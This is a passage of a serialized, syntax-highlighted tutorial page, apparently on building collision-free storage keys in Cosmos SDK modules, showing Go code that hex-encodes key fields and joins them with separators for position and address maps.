hex",{"type":24,"tag":158,"props":86872,"children":86873},{"style":188},[86874],{"type":29,"value":347},{"type":24,"tag":158,"props":86876,"children":86877},{"style":496},[86878],{"type":29,"value":86879},"EncodedLen",{"type":24,"tag":158,"props":86881,"children":86882},{"style":188},[86883],{"type":29,"value":504},{"type":24,"tag":158,"props":86885,"children":86886},{"style":496},[86887],{"type":29,"value":10726},{"type":24,"tag":158,"props":86889,"children":86890},{"style":188},[86891],{"type":29,"value":504},{"type":24,"tag":158,"props":86893,"children":86894},{"style":177},[86895],{"type":29,"value":86749},{"type":24,"tag":158,"props":86897,"children":86898},{"style":188},[86899],{"type":29,"value":86900},")),\n",{"type":24,"tag":158,"props":86902,"children":86903},{"class":160,"line":676},[86904],{"type":24,"tag":158,"props":86905,"children":86906},{"style":188},[86907],{"type":29,"value":2125},{"type":24,"tag":158,"props":86909,"children":86910},{"class":160,"line":684},[86911,86916,86920,86925,86929,86933,86937,86941],{"type":24,"tag":158,"props":86912,"children":86913},{"style":177},[86914],{"type":29,"value":86915},"hex",{"type":24,"tag":158,"props":86917,"children":86918},{"style":188},[86919],{"type":29,"value":347},{"type":24,"tag":158,"props":86921,"children":86922},{"style":496},[86923],{"type":29,"value":86924},"Encode",{"type":24,"tag":158,"props":86926,"children":86927},{"style":188},[86928],{"type":29,"value":504},{"type":24,"tag":158,"props":86930,"children":86931},{"style":177},[86932],{"type":29,"value":86833},{"type":24,"tag":158,"props":86934,"children":86935},{"style":188},[86936],{"type":29,"value":191},{"type":24,"tag":158,"props":86938,"children":86939},{"style":177},[86940],{"type":29,"value":86749},{"type":24,"tag":158,"props":86942,"children":86943},{"style":188},[86944],{"type":29,"value":2125},{"type":24,"tag":158,"props":86946,"children":86947},{"class":160,"line":700},[86948],{"type":24,"tag":158,"props":86949,"children":86950},{"emptyLinePlaceholder":16},[86951],{"type":29,"value":481},{"type":24,"tag":158,"props":86953,"children":86954},{"class":160,"line":785},[86955,86960,86964,86968],{"type":24,"tag":158,"props":86956,"children":86957},{"style":177},[86958],{"type":29,"value":86959},"positionNameEncoded",{"type":24,"tag":158,"props":86961,"children":86962},{"style":222},[86963],{"type":29,"value":77694},{"type":24,"tag":158,"props":86965,"children":86966},{"style":496},[86967],{"type":29,"value":86842},{"type":24,"tag":158,"props":86969,"children":86970},{"style":188},[86971],{"type":29,"value":2156},{"type":24,"tag":158,"props":86973,"children":86974},{"class":160,"line":1447},[86975,86979,86983],{"type":24,"tag":158,"props":86976,"children":86977},{"style":188},[86978],{"type":29,"value":86854},{"type":24,"tag":158,"props":86980,"children":86981},{"style":171},[86982],{"type":29,"value":86043},{"type":24,"tag":158,"props":86984,"children":86985},{"style":188},[86986],{"type":29,"value":235},{"type":24,"tag":158,"props":86988,"children":86989},{"class":160,"line":1509},[86990,86994,86998,87002,87006,87010,87014,87019],{"type":24,"tag":158,"props":86991,"children":86992},{"style":177},[86993],{"type":29,"value":86870},{"type":24,"tag":158,"props":86995,"children":86996},{"style":188},[86997],{"type":29,"value":347},{"type":24,"tag":158,"props":86999,"children":87000},{"style":496},[87001],{"type":29,"value":86879},{"type":24,"tag":158,"props":87003,"children":87004},{"style":188},[87005],{"type":29,"value":504},{"type":24,"tag":158,"props":87007,"children":87008},{"style":496},[87009],{"type":29,"value":10726},{"type":24,"tag":158,"props":87011,"children":87012},{"style":188},[87013],{"type":29,"value":504},{"type":24,"tag":158,"props":87015,"children":87016},{"style":177},[87017],{"type":29,"value":87018},"positionName",{"type":24,"tag":158,"props":87020,"children":87021},{"style":188},[87022],{"type":29,"value":86900},{"type":24,"tag":158,"props":87024,"children":87025},{"class":160,"line":1527},[87026],{"type":24,"tag":158,"props":87027,"children":87028},{"style":188},[87029],{"type":29,"value":2125},{"type":24,"tag":158,"props":87031,"children":87032},{"class":160,"line":1545},[87033,87037,87041,87045,87049,87053,87057,87061],{"type":24,"tag":158,"props":87034,"children":87035},{"style":177},[87036],{"type":29,"value":86915},{"type":24,"tag":158,"props":87038,"children":87039},{"style":188},[87040],{"type":29,"value":347},{"type":24,"tag":158,"props":87042,"children":87043},{"style":496},[87044],{"type":29,"value":86924},{"type":24,"tag":158,"props":87046,"children":87047},{"style":188},[87048],{"type":29,"value":504},{"type":24,"tag":158,"props":87050,"children":87051},{"style":177},[87052],{"type":29,"value":86959},{"type":24,"tag":158,"props":87054,"children":87055},{"style":188},[87056],{"type":29,"value":191},{"type":24,"tag":158,"props":87058,"children":87059},{"style":177},[87060],{"type":29,"value":87018},{"type":24,"tag":158,"props":87062,"children":87063},{"style":188},[87064],{"type":29,"value":2125},{"type":24,"tag":158,"props":87066,"children":87067},{"class":160,"line":1618},[87068],{"type":24,"tag":158,"props":87069,"children":87070},{"emptyLinePlaceholder":16},[87071],{"type":29,"value":481},{"type":24,"tag":158,"props":87073,"children":87074},{"class":160,"line":1635},[87075,87079,87083,87087,87091,87095],{"type":24,"tag":158,"props":87076,"children":87077},{"style":177},[87078],{"type":29,"value":86484},{"type":24,"tag":158,"props":87080,"children":87081},{"style":222},[87082],{"type":29,"value":77694},{"type":24,"tag":158,"props":87084,"children":87085},{"style":177},[87086],{"type":29,"value":83512},{"type":24,"tag":158,"props":87088,"children":87089},{"style":188},[87090],{"type":29,"value":347},{"type":24,"tag":158,"props":87092,"children":87093},{"style":496},[87094],{"type":29,"value":86501},{"type":24,"tag":158,"props":87096,"children":87097},{"style":188},[87098],{"type":29,"value":2156},{"type":24,"tag":158,"props":87100,"children":87101},{"class":160,"line":1644},[87102,87106],{"type":24,"tag":158,"props":87103,"children":87104},{"style":1108},[87105],{"type":29,"value":86667},{"type":24,"tag":158,"props":87107,"children":87108},{"style":188},[87109],{"type":29,"value":235},{"type":24,"tag":158,"props":87111,"children":87112},{"class":160,"line":1652},[87113,87117],{"type":24,"tag":158,"props":87114,"children":87115},{"style":177},[87116],{"type":29,"value":86525},{"type":24,"tag":158,"props":87118,"children":87119},{"style":188},[87120],{"type":29,"value":235},{"type":24,"tag":158,"props":87122,"children":87123},{"class":160,"line":1704},[87124,87128],{"type":24,"tag":158,"props":87125,"children":87126},{"style":177},[87127],{"type":29,"value":86609},{"type":24,"tag":158,"props":87129,"children":87130},{"style":188},[87131],{"type":29,"value":235},{"type":24,"tag":158,"props":87133,"children":87134},{"class":160,"line":1713},[87135,87140],{"type":24,"tag":158,"props":87136,"children":87137},{"style":177},[87138],{"type":29,"value":87139}," usernameEncoded",{"type":24,"tag":158,"props":87141,"children":87142},{"style":188},[87143],{"type":29,"value":235},{"type":24,"tag":158,"props":87145,"children":87146},{"class":160,"line":1731},[87147,87151],{"type":24,"tag":158,"props":87148,"children":87149},{"style":177},[87150],{"type":29,"value":86609},{"type":24,"tag":158,"props":87152,"children":87153},{"style":188},[87154],{"type":29,"value":235},{"type":24,"tag":158,"props":87156,"children":87157},{"class":160,"line":5485},[87158],{"type":24,"tag":158,"props":87159,"children":87160},{"style":177},[87161],{"type":29,"value":87162}," positionNameEncoded\n",{"type":24,"tag":158,"props":87164,"children":87165},{"class":160,"line":5493},[87166],{"type":24,"tag":158,"props":87167,"children":87168},{"style":188},[87169],{"type":29,"value":2125},{"type":24,"tag":25,"props":87171,"children":87172},{},[87173,87175,87180],{"type":29,"value":87174},"We did it. We finally eliminated all potential ",{"type":24,"tag":154,"props":87176,"children":87178},{"className":87177},[],[87179],{"type":29,"value":86484},{"type":29,"value":87181}," collisions.",{"type":24,"tag":25,"props":87183,"children":87184},{},[87185],{"type":29,"value":87186},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":24,"tag":25,"props":87188,"children":87189},{},[87190,87192,87198,87200,87205,87207,87212,87214,87219,87221,87227],{"type":29,"value":87191},"In the Cosmos framework, it is common for each ",{"type":24,"tag":154,"props":87193,"children":87195},{"className":87194},[],[87196],{"type":29,"value":87197},"Module",{"type":29,"value":87199}," to own a few ",{"type":24,"tag":154,"props":87201,"children":87203},{"className":87202},[],[87204],{"type":29,"value":86255},{"type":29,"value":87206}," and have individual ",{"type":24,"tag":154,"props":87208,"children":87210},{"className":87209},[],[87211],{"type":29,"value":81223},{"type":29,"value":87213},"s managing access to storages. It's also important to note that each ",{"type":24,"tag":154,"props":87215,"children":87217},{"className":87216},[],[87218],{"type":29,"value":86255},{"type":29,"value":87220}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":24,"tag":154,"props":87222,"children":87224},{"className":87223},[],[87225],{"type":29,"value":87226},"Modules",{"type":29,"value":347},{"type":24,"tag":25,"props":87229,"children":87230},{},[87231,87233,87238],{"type":29,"value":87232},"With that being said, what if we have to maintain more than one structure within the same ",{"type":24,"tag":154,"props":87234,"children":87236},{"className":87235},[],[87237],{"type":29,"value":86255},{"type":29,"value":4820},{"type":24,"tag":25,"props":87240,"children":87241},{},[87242,87244,87250,87252,87257],{"type":29,"value":87243},"To demonstrate this scenario, we introduce the ",{"type":24,"tag":154,"props":87245,"children":87247},{"className":87246},[],[87248],{"type":29,"value":87249},"NameToAddressMap",{"type":29,"value":87251}," structure, which will be stored in the same ",{"type":24,"tag":154,"props":87253,"children":87255},{"className":87254},[],[87256],{"type":29,"value":86255},{"type":29,"value":87258}," we previously used.",{"type":24,"tag":147,"props":87260,"children":87262},{"code":87261,"language":77442,"meta":7,"className":77443,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[87263],{"type":24,"tag":154,"props":87264,"children":87265},{"__ignoreMap":7},[87266,87281,87296,87303,87318,87337,87352,87359,87374,87429,87436,87452,87472,87487,87494,87510],{"type":24,"tag":158,"props":87267,"children":87268},{"class":160,"line":161},[87269,87273,87277],{"type":24,"tag":158,"props":87270,"children":87271},{"style":165},[87272],{"type":29,"value":34018},{"type":24,"tag":158,"props":87274,"children":87275},{"style":171},[87276],{"type":29,"value":86301},{"type":24,"tag":158,"props":87278,"children":87279},{"style":171},[87280],{"type":29,"value":77480},{"type":24,"tag":158,"props":87282,"children":87283},{"class":160,"line":213},[87284,87288,87292],{"type":24,"tag":158,"props":87285,"children":87286},{"style":165},[87287],{"type":29,"value":34018},{"type":24,"tag":158,"props":87289,"children":87290},{"style":171},[87291],{"type":29,"value":86317},{"type":24,"tag":158,"props":87293,"children":87294},{"style":171},[87295],{"type":29,"value":86322},{"type":24,"tag":158,"props":87297,"children":87298},{"class":160,"line":238},[87299],{"type":24,"tag":158,"props":87300,"children":87301},{"emptyLinePlaceholder":16},[87302],{"type":29,"value":481},{"type":24,"tag":158,"props":87304,"children":87305},{"class":160,"line":259},[87306,87310,87314],{"type":24,"tag":158,"props":87307,"children":87308},{"style":165},[87309],{"type":29,"value":34018},{"type":24,"tag":158,"props":87311,"children":87312},{"style":171},[87313],{"type":29,"value":86334},{"type":24,"tag":158,"props":87315,"children":87316},{"style":171},[87317],{"type":29,"value":86322},{"type":24,"tag":158,"props":87319,"children":87320},{"class":160,"line":280},[87321,87325,87329,87333],{"type":24,"tag":158,"props":87322,"children":87323},{"style":165},[87324],{"type":29,"value":34018},{"type":24,"tag":158,"props":87326,"children":87327},{"style":171},[87328],{"type":29,"value":9066},{"type":24,"tag":158,"props":87330,"children":87331},{"style":165},[87332],{"type":29,"value":22395},{"type":24,"tag":158,"props":87334,"children":87335},{"style":188},[87336],{"type":29,"value":210},{"type":24,"tag":158,"props":87338,"children":87339},{"class":160,"line":301},[87340,87344,87348],{"type":24,"tag":158,"props":87341,"children":87342},{"style":177},[87343],{"type":29,"value":44498},{"type":24,"tag":158,"props":87345,"children":87346},{"style":188},[87347],{"type":29,"value":77505},{"type":24,"tag":158,"props":87349,"children":87350},{"style":171},[87351],{"type":29,"value":85506},{"type":24,"tag":158,"props":87353,"children":87354},{"class":160,"line":626},[87355],{"type":24,"tag":158,"props":87356,"children":87357},{"style":188},[87358],{"type":29,"value":307},{"type":24,"tag":158,"props":87360,"children":87361},{"class":160,"line":668},[87362,87366,87370],{"type":24,"tag":158,"props":87363,"children":87364},{"style":165},[87365],{"type":29,"value":34018},{"type":24,"tag":158,"props":87367,"children":87368},{"style":171},[87369],{"type":29,"value":86391},{"type":24,"tag":158,"props":87371,"children":87372},{"style":222},[87373],{"type":29,"value":86396},{"type":24,"tag":158,"props":87375,"children":87376},{"class":160,"line":676},[87377,87381,87385,87389,87393,87397,87401,87405,87409,87413,87417,87421,87425],{"type":24,"tag":158,"props":87378,"children":87379},{"style":165},[87380],{"type":29,"value":86404},{"type":24,"tag":158,"props":87382,"children":87383},{"style":188},[87384],{"type":29,"value":2048},{"type":24,"tag":158,"props":87386,"children":87387},{"style":171},[87388],{"type":29,"value":86413},{"type":24,"tag":158,"props":87390,"children":87391},{"style":188},[87392],{"type":29,"value":16646},{"type":24,"tag":158,"props":87394,"children":87395},{"style":165},[87396],{"type":29,"value":68377},{"type":24,"tag":158,"props":87398,"children":87399},{"style":188},[87400],{"type":29,"value":2048},{"type":24,"tag":158,"props":87402,"children":87403},{"style":171},[87404],{"type":29,"value":86430},{"type":24,"tag":158,"props":87406,"children":87407},{"style":188},[87408],{"type":29,"value":16646},{"type":24,"tag":158,"props":87410,"children":87411},{"style":165},[87412],{"type":29,"value":68377},{"type":24,"tag":158,"props":87414,"children":87415},{"style":188},[87416],{"type":29,"value":2048},{"type":24,"tag":158,"props":87418,"children":87419},{"style":171},[87420],{"type":29,"value":86447},{"type":24,"tag":158,"props":87422,"children":87423},{"style":188},[87424],{"type":29,"value":16646},{"type":24,"tag":158,"props":87426,"children":87427},{"style":171},[87428],{"type":29,"value":86456},{"type":24,"tag":158,"props":87430,"children":87431},{"class":160,"line":684},[87432],{"type":24,"tag":158,"props":87433,"children":87434},{"emptyLinePlaceholder":16},[87435],{"type":29,"value":481},{"type":24,"tag":158,"props":87437,"children":87438},{"class":160,"line":700},[87439,87443,87448],{"type":24,"tag":158,"props":87440,"children":87441},{"style":165},[87442],{"type":29,"value":34018},{"type":24,"tag":158,"props":87444,"children":87445},{"style":171},[87446],{"type":29,"value":87447}," AddressName",{"type":24,"tag":158,"props":87449,"children":87450},{"style":171},[87451],{"type":29,"value":86322},{"type":24,"tag":158,"props":87453,"children":87454},{"class":160,"line":785},[87455,87459,87464,87468],{"type":24,"tag":158,"props":87456,"children":87457},{"style":165},[87458],{"type":29,"value":34018},{"type":24,"tag":158,"props":87460,"children":87461},{"style":171},[87462],{"type":29,"value":87463}," Address",{"type":24,"tag":158,"props":87465,"children":87466},{"style":165},[87467],{"type":29,"value":22395},{"type":24,"tag":158,"props":87469,"children":87470},{"style":188},[87471],{"type":29,"value":210},{"type":24,"tag":158,"props":87473,"children":87474},{"class":160,"line":1447},[87475,87479,87483],{"type":24,"tag":158,"props":87476,"children":87477},{"style":177},[87478],{"type":29,"value":16339},{"type":24,"tag":158,"props":87480,"children":87481},{"style":188},[87482],{"type":29,"value":77505},{"type":24,"tag":158,"props":87484,"children":87485},{"style":171},[87486],{"type":29,"value":85506},{"type":24,"tag":158,"props":87488,"children":87489},{"class":160,"line":1509},[87490],{"type":24,"tag":158,"props":87491,"children":87492},{"style":188},[87493],{"type":29,"value":307},{"type":24,"tag":158,"props":87495,"children":87496},{"class":160,"line":1527},[87497,87501,87506],{"type":24,"tag":158,"props":87498,"children":87499},{"style":165},[87500],{"type":29,"value":34018},{"type":24,"tag":158,"props":87502,"children":87503},{"style":171},[87504],{"type":29,"value":87505}," AddressMap",{"type":24,"tag":158,"props":87507,"children":87508},{"style":222},[87509],{"type":29,"value":86396},{"type":24,"tag":158,"props":87511,"children":87512},{"class":160,"line":1545},[87513,87517,87521,87525,87529,87533,87537,87541,87545,87549,87553,87558,87562],{"type":24,"tag":158,"props":87514,"children":87515},{"style":165},[87516],{"type":29,"value":86404},{"type":24,"tag":158,"props":87518,"children":87519},{"style":188},[87520],{"type":29,"value":2048},{"type":24,"tag":158,"props":87522,"children":87523},{"style":171},[87524],{"type":29,"value":86413},{"type":24,"tag":158,"props":87526,"children":87527},{"style":188},[87528],{"type":29,"value":16646},{"type":24,"tag":158,"props":87530,"children":87531},{"style":165},[87532],{"type":29,"value":68377},{"type":24,"tag":158,"props":87534,"children":87535},{"style":188},[87536],{"type":29,"value":2048},{"type":24,"tag":158,"props":87538,"children":87539},{"style":171},[87540],{"type":29,"value":86430},{"type":24,"tag":158,"props":87542,"children":87543},{"style":188},[87544],{"type":29,"value":16646},{"type":24,"tag":158,"props":87546,"children":87547},{"style":165},[87548],{"type":29,"value":68377},{"type":24,"tag":158,"props":87550,"children":87551},{"style":188},[87552],{"type":29,"value":2048},{"type":24,"tag":158,"props":87554,"children":87555},{"style":171},[87556],{"type":29,"value":87557},"AddressName",{"type":24,"tag":158,"props":87559,"children":87560},{"style":188},[87561],{"type":29,"value":16646},{"type":24,"tag":158,"props":87563,"children":87564},{"style":171},[87565],{"type":29,"value":87566},"Address\n",{"type":24,"tag":25,"props":87568,"children":87569},{},[87570],{"type":29,"value":87571},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":24,"tag":147,"props":87573,"children":87575},{"code":87574,"language":77442,"meta":7,"className":77443,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[87576],{"type":24,"tag":154,"props":87577,"children":87578},{"__ignoreMap":7},[87579,87590,87605,87612,87619,87626,87642,87657,87684,87707,87726,87742,87778,87785,87820,87827,87847,87862,87897,87904,87939,87946,87974,87986,87998,88010,88022,88033,88045,88052,88059,88066,88073,88089,88104,88128,88151,88170,88185,88220,88227,88262,88269,88289,88304,88339,88346,88382,88389,88416,88427,88438,88449,88460,88471,88483,88490],{"type":24,"tag":158,"props":87580,"children":87581},{"class":160,"line":161},[87582,87586],{"type":24,"tag":158,"props":87583,"children":87584},{"style":165},[87585],{"type":29,"value":443},{"type":24,"tag":158,"props":87587,"children":87588},{"style":188},[87589],{"type":29,"value":79844},{"type":24,"tag":158,"props":87591,"children":87592},{"class":160,"line":213},[87593,87597,87601],{"type":24,"tag":158,"props":87594,"children":87595},{"style":177},[87596],{"type":29,"value":86609},{"type":24,"tag":158,"props":87598,"children":87599},{"style":222},[87600],{"type":29,"value":462},{"type":24,"tag":158,"props":87602,"children":87603},{"style":1108},[87604],{"type":29,"value":86618},{"type":24,"tag":158,"props":87606,"children":87607},{"class":160,"line":238},[87608],{"type":24,"tag":158,"props":87609,"children":87610},{"style":188},[87611],{"type":29,"value":2125},{"type":24,"tag":158,"props":87613,"children":87614},{"class":160,"line":259},[87615],{"type":24,"tag":158,"props":87616,"children":87617},{"emptyLinePlaceholder":16},[87618],{"type":29,"value":481},{"type":24,"tag":158,"props":87620,"children":87621},{"class":160,"line":280},[87622],{"type":24,"tag":158,"props":87623,"children":87624},{"emptyLinePlaceholder":16},[87625],{"type":29,"value":481},{"type":24,"tag":158,"props":87627,"children":87628},{"class":160,"line":301},[87629,87633,87638],{"type":24,"tag":158,"props":87630,"children":87631},{"style":165},[87632],{"type":29,"value":77578},{"type":24,"tag":158,"props":87634,"children":87635},{"style":496},[87636],{"type":29,"value":87637}," PositionMapKey",{"type":24,"tag":158,"props":87639,"children":87640},{"style":188},[87641],{"type":29,"value":2156},{"type":24,"tag":158,"props":87643,"children":87644},{"class":160,"line":626},[87645,87649,87653],{"type":24,"tag":158,"props":87646,"children":87647},{"style":177},[87648],{"type":29,"value":86525},{"type":24,"tag":158,"props":87650,"children":87651},{"style":171},[87652],{"type":29,"value":77699},{"type":24,"tag":158,"props":87654,"children":87655},{"style":188},[87656],{"type":29,"value":235},{"type":24,"tag":158,"props":87658,"children":87659},{"class":160,"line":668},[87660,87664,87668,87672,87676,87680],{"type":24,"tag":158,"props":87661,"children":87662},{"style":177},[87663],{"type":29,"value":86537},{"type":24,"tag":158,"props":87665,"children":87666},{"style":188},[87667],{"type":29,"value":191},{"type":24,"tag":158,"props":87669,"children":87670},{"style":177},[87671],{"type":29,"value":87018},{"type":24,"tag":158,"props":87673,"children":87674},{"style":188},[87675],{"type":29,"value":77505},{"type":24,"tag":158,"props":87677,"children":87678},{"style":171},[87679],{"type":29,"value":86043},{"type":24,"tag":158,"props":87681,"children":87682},{"style":188},[87683],{"type":29,"value":235},{"type":24,"tag":158,"props":87685,"children":87686},{"class":160,"line":676},[87687,87691,87695,87699,87703],{"type":24,"tag":158,"props":87688,"children":87689},{"style":188},[87690],{"type":29,"value":77660},{"type":24,"tag":158,"props":87692,"children":87693},{"style":177},[87694],{"type":29,"value":73432},{"type":24,"tag":158,"props":87696,"children":87697},{"style":188},[87698],{"type":29,"value":77505},{"type":24,"tag":158,"props":87700,"children":87701},{"style":171},[87702],{"type":29,"value":86043},{"type":24,"tag":158,"props":87704,"children":87705},{"style":188},[87706],{"type":29,"value":16038},{"type":24,"tag":158,"props":87708,"children":87709},{"class":160,"line":684},[87710,87714,87718,87722],{"type":24,"tag":158,"props":87711,"children":87712},{"style":177},[87713],{"type":29,"value":87139},{"type":24,"tag":158,"props":87715,"children":87716},{"style":222},[87717],{"type":29,"value":77694},{"type":24,"tag":158,"props":87719,"children":87720},{"style":496},[87721],{"type":29,"value":86842},{"type":24,"tag":158,"props":87723,"children":87724},{"style":188},[87725],{"type":29,"value":2156},{"type":24,"tag":158,"props":87727,"children":87728},{"class":160,"line":700},[87729,87734,87738],{"type":24,"tag":158,"props":87730,"children":87731},{"style":188},[87732],{"type":29,"value":87733}," []",{"type":24,"tag":158,"props":87735,"children":87736},{"style":171},[87737],{"type":29,"value":86043},{"type":24,"tag":158,"props":87739,"children":87740},{"style":188},[87741],{"type":29,"value":235},{"type":24,"tag":158,"props":87743,"children":87744},{"class":160,"line":785},[87745,87750,87754,87758,87762,87766,87770,87774],{"type":24,"tag":158,"props":87746,"children":87747},{"style":177},[87748],{"type":29,"value":87749}," hex",{"type":24,"tag":158,"props":87751,"children":87752},{"style":188},[87753],{"type":29,"value":347},{"type":24,"tag":158,"props":87755,"children":87756},{"style":496},[87757],{"type":29,"value":86879},{"type":24,"tag":158,"props":87759,"children":87760},{"style":188},[87761],{"type":29,"value":504},{"type":24,"tag":158,"props":87763,"children":87764},{"style":496},[87765],{"type":29,"value":10726},{"type":24,"tag":158,"props":87767,"children":87768},{"style":188},[87769],{"type":29,"value":504},{"type":24,"tag":158,"props":87771,"children":87772},{"style":177},[87773],{"type":29,"value":86749},{"type":24,"tag":158,"props":87775,"children":87776},{"style":188},[87777],{"type":29,"value":86900},{"type":24,"tag":158,"props":87779,"children":87780},{"class":160,"line":1447},[87781],{"type":24,"tag":158,"props":87782,"children":87783},{"style":188},[87784],{"type":29,"value":25175},{"type":24,"tag":158,"props":87786,"children":87787},{"class":160,"line":1509},[87788,87792,87796,87800,87804,87808,87812,87816],{"type":24,"tag":158,"props":87789,"children":87790},{"style":177},[87791],{"type":29,"value":86870},{"type":24,"tag":158,"props":87793,"children":87794},{"style":188},[87795],{"type":29,"value":347},{"type":24,"tag":158,"props":87797,"children":87798},{"style":496},[87799],{"type":29,"value":86924},{"type":24,"tag":158,"props":87801,"children":87802},{"style":188},[87803],{"type":29,"value":504},{"type":24,"tag":158,"props":87805,"children":87806},{"style":177},[87807],{"type":29,"value":86833},{"type":24,"tag":158,"props":87809,"children":87810},{"style":188},[87811],{"type":29,"value":191},{"type":24,"tag":158,"props":87813,"children":87814},{"style":177},[87815],{"type":29,"value":86749},{"type":24,"tag":158,"props":87817,"children":87818},{"style":188},[87819],{"type":29,"value":2125},{"type":24,"tag":158,"props":87821,"children":87822},{"class":160,"line":1527},[87823],{"type":24,"tag":158,"props":87824,"children":87825},{"emptyLinePlaceholder":16},[87826],{"type":29,"value":481},{"type":24,"tag":158,"props":87828,"children":87829},{"class":160,"line":1545},[87830,87835,87839,87843],{"type":24,"tag":158,"props":87831,"children":87832},{"style":177},[87833],{"type":29,"value":87834}," positionNameEncoded",{"type":24,"tag":158,"props":87836,"children":87837},{"style":222},[87838],{"type":29,"value":77694},{"type":24,"tag":158,"props":87840,"children":87841},{"style":496},[87842],{"type":29,"value":86842},{"type":24,"tag":158,"props":87844,"children":87845},{"style":188},[87846],{"type":29,"value":2156},{"type":24,"tag":158,"props":87848,"children":87849},{"class":160,"line":1618},[87850,87854,87858],{"type":24,"tag":158,"props":87851,"children":87852},{"style":188},[87853],{"type":29,"value":87733},{"type":24,"tag":158,"props":87855,"children":87856},{"style":171},[87857],{"type":29,"value":86043},{"type":24,"tag":158,"props":87859,"children":87860},{"style":188},[87861],{"type":29,"value":235},{"type":24,"tag":158,"props":87863,"children":87864},{"class":160,"line":1635},[87865,87869,87873,87877,87881,87885,87889,87893],{"type":24,"tag":158,"props":87866,"children":87867},{"style":177},[87868],{"type":29,"value":87749},{"type":24,"tag":158,"props":87870,"children":87871},{"style":188},[87872],{"type":29,"value":347},{"type":24,"tag":158,"props":87874,"children":87875},{"style":496},[87876],{"type":29,"value":86879},{"type":24,"tag":158,"props":87878,"children":87879},{"style":188},[87880],{"type":29,"value":504},{"type":24,"tag":158,"props":87882,"children":87883},{"style":496},[87884],{"type":29,"value":10726},{"type":24,"tag":158,"props":87886,"children":87887},{"style":188},[87888],{"type":29,"value":504},{"type":24,"tag":158,"props":87890,"children":87891},{"style":177},[87892],{"type":29,"value":87018},{"type":24,"tag":158,"props":87894,"children":87895},{"style":188},[87896],{"type":29,"value":86900},{"type":24,"tag":158,"props":87898,"children":87899},{"class":160,"line":1644},[87900],{"type":24,"tag":158,"props":87901,"children":87902},{"style":188},[87903],{"type":29,"value":25175},{"type":24,"tag":158,"props":87905,"children":87906},{"class":160,"line":1652},[87907,87911,87915,87919,87923,87927,87931,87935],{"type":24,"tag":158,"props":87908,"children":87909},{"style":177},[87910],{"type":29,"value":86870},{"type":24,"tag":158,"props":87912,"children":87913},{"style":188},[87914],{"type":29,"value":347},{"type":24,"tag":158,"props":87916,"children":87917},{"style":496},[87918],{"type":29,"value":86924},{"type":24,"tag":158,"props":87920,"children":87921},{"style":188},[87922],{"type":29,"value":504},{"type":24,"tag":158,"props":87924,"children":87925},{"style":177},[87926],{"type":29,"value":86959},{"type":24,"tag":158,"props":87928,"children":87929},{"style":188},[87930],{"type":29,"value":191},{"type":24,"tag":158,"props":87932,"children":87933},{"style":177},[87934],{"type":29,"value":87018},{"type":24,"tag":158,"props":87936,"children":87937},{"style":188},[87938],{"type":29,"value":2125},{"type":24,"tag":158,"props":87940,"children":87941},{"class":160,"line":1704},[87942],{"type":24,"tag":158,"props":87943,"children":87944},{"emptyLinePlaceholder":16},[87945],{"type":29,"value":481},{"type":24,"tag":158,"props":87947,"children":87948},{"class":160,"line":1713},[87949,87954,87958,87962,87966,87970],{"type":24,"tag":158,"props":87950,"children":87951},{"style":177},[87952],{"type":29,"value":87953}," key",{"type":24,"tag":158,"props":87955,"children":87956},{"style":222},[87957],{"type":29,"value":77694},{"type":24,"tag":158,"props":87959,"children":87960},{"style":177},[87961],{"type":29,"value":83512},{"type":24,"tag":158,"props":87963,"children":87964},{"style":188},[87965],{"type":29,"value":347},{"type":24,"tag":158,"props":87967,"children":87968},{"style":496},[87969],{"type":29,"value":86501},{"type":24,"tag":158,"props":87971,"children":87972},{"style":188},[87973],{"type":29,"value":2156},{"type":24,"tag":158,"props":87975,"children":87976},{"class":160,"line":1731},[87977,87982],{"type":24,"tag":158,"props":87978,"children":87979},{"style":1108},[87980],{"type":29,"value":87981}," \"%d%s%s%s%s\"",{"type":24,"tag":158,"props":87983,"children":87984},{"style":188},[87985],{"type":29,"value":235},{"type":24,"tag":158,"props":87987,"children":87988},{"class":160,"line":5485},[87989,87994],{"type":24,"tag":158,"props":87990,"children":87991},{"style":177},[87992],{"type":29,"value":87993}," vaultId",{"type":24,"tag":158,"props":87995,"children":87996},{"style":188},[87997],{"type":29,"value":235},{"type":24,"tag":158,"props":87999,"children":88000},{"class":160,"line":5493},[88001,88006],{"type":24,"tag":158,"props":88002,"children":88003},{"style":177},[88004],{"type":29,"value":88005}," Seperator",{"type":24,"tag":158,"props":88007,"children":88008},{"style":188},[88009],{"type":29,"value":235},{"type":24,"tag":158,"props":88011,"children":88012},{"class":160,"line":5553},[88013,88018],{"type":24,"tag":158,"props":88014,"children":88015},{"style":177},[88016],{"type":29,"value":88017}," 